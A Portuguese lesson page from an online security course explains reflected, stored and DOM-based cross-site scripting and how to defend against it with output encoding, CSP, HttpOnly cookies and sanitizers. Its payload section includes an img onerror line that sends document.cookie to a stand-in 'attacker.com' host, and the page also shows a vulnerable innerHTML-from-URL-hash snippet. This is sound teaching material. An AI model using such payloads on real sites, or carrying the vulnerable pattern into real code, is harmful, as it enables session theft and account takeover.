Cross-Site Scripting (XSS)
Explore XSS refletido, armazenado e baseado no DOM com cargas reais e atenuações por meio de CSP.
Cross-Site Scripting (XSS) é uma aula grátis de Cyber Security Academy no CoddyKit. Esta é a aula 2 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de Cyber Security Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de Cyber Security Academy inclui 4 aulas no total.
O que é XSS?
Script entre sites (XSS) ocorre quando um invasor injeta JavaScript malicioso em uma página da web visualizada por outros usuários. O navegador executa o script no contexto da sessão da vítima, permitindo o roubo de cookies, o registro de teclas e a manipulação da página.
XSS refletido
XSS refletido (não persistente): o script malicioso é incluído na solicitação (por exemplo, como parâmetro de URL) e refletido na resposta. A vítima precisa clicar em um link criado especialmente. Exemplo: https://site.com/search?q=<script>alert(1)</script>
XSS armazenado
XSS armazenado (persistente): o script malicioso é salvo no banco de dados (por exemplo, em um comentário ou campo de perfil) e exibido para todos os visitantes. É mais perigoso que o XSS refletido porque nenhum link especial é necessário — cada visualização da página aciona o script.
XSS baseado em DOM
XSS baseado em DOM ocorre quando JavaScript lê dados controlados pelo invasor (fragmento de URL ou parâmetro de consulta) e os grava no DOM sem sanitização. O ataque ocorre inteiramente no lado do cliente; o servidor nunca vê a carga maliciosa.
// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>Impacto do XSS
O que um invasor pode fazer com XSS:
- Roubar cookies de sessão (
document.cookie) → assumir o controle da conta - Registrar as teclas digitadas (roubar senhas à medida que são digitadas)
- Redirecionar para sites fraudulentos
- Realizar ações como a vítima (CSRF via XSS)
- Desfigurar a página
Cargas úteis de XSS
Cargas úteis simples para teste:
<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>Codificação da saída
A principal defesa: codifique toda saída controlada pelo usuário antes de inseri-la em HTML. Converta caracteres especiais em entidades HTML: < → <, > → >, " → ".
Use codificação apropriada ao contexto: HTML, JS, URL, CSS.
Política de Segurança de Conteúdo (CSP)
CSP é um cabeçalho de resposta que informa ao navegador quais scripts podem ser executados. Uma CSP rigorosa bloqueia scripts incorporados diretamente e limita as fontes:
# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domainsCookies HttpOnly
Definir o sinalizador HttpOnly nos cookies de sessão impede que JavaScript os leia por meio de document.cookie. Mesmo que o XSS seja acionado, o invasor não pode roubar o token de sessão. Essa é a camada de mitigação mais importante, juntamente com a codificação da saída.
Bibliotecas de sanitização
Quando os usuários precisam ter permissão para inserir HTML (por exemplo, em editores de texto rico), use uma biblioteca de sanitização em vez de escrever a sua própria:
- DOMPurify (JavaScript)
- bleach (Python)
- OWASP Java HTML Sanitizer
Teste de XSS
Teste a presença de XSS com as ferramentas de desenvolvimento do navegador, o Burp Suite ou analisadores automatizados. Verifique todos os campos de entrada do usuário, parâmetros de URL, cabeçalhos HTTP e funções de inserção no DOM: innerHTML, document.write, eval, setTimeout com argumentos de string.
Verificação rápida: XSS
Qual tipo de XSS armazena a carga maliciosa no banco de dados, fazendo com que ela seja executada para todos os visitantes da página afetada?
Recapitulação da lição
O XSS injeta JavaScript em páginas visualizadas pelas vítimas. Tipos: refletido (baseado em URL), armazenado (persistido no banco de dados) e baseado em DOM (no lado do cliente). Principais defesas: codificação da saída, cookies HttpOnly e Política de Segurança de Conteúdo. Use o DOMPurify para sanitização de HTML. Nunca insira dados de usuário não sanitizados em innerHTML ou eval().
Perguntas Frequentes
A aula “Cross-Site Scripting (XSS)” é grátis?
Sim — o texto completo de “Cross-Site Scripting (XSS)” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de Cyber Security Academy, atualize para CoddyKit PRO. O curso de Cyber Security Academy inclui 4 aulas no total.
O que vou aprender em “Cross-Site Scripting (XSS)”?
Explore XSS refletido, armazenado e baseado no DOM com cargas reais e atenuações por meio de CSP. Você pratica Cyber Security Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.
Preciso ter experiência prévia para começar Cyber Security Academy?
Nenhuma experiência prévia é necessária. Cyber Security Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 2 de 4.
Quanto tempo leva a aula “Cross-Site Scripting (XSS)”?
A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.
Posso escrever e executar código nesta aula de Cyber Security Academy?
Sim. Cada aula de Cyber Security Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.
Todas as aulas deste curso
- Injeção de SQL: como e por que funciona
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Configuração incorreta de segurança e serviços expostos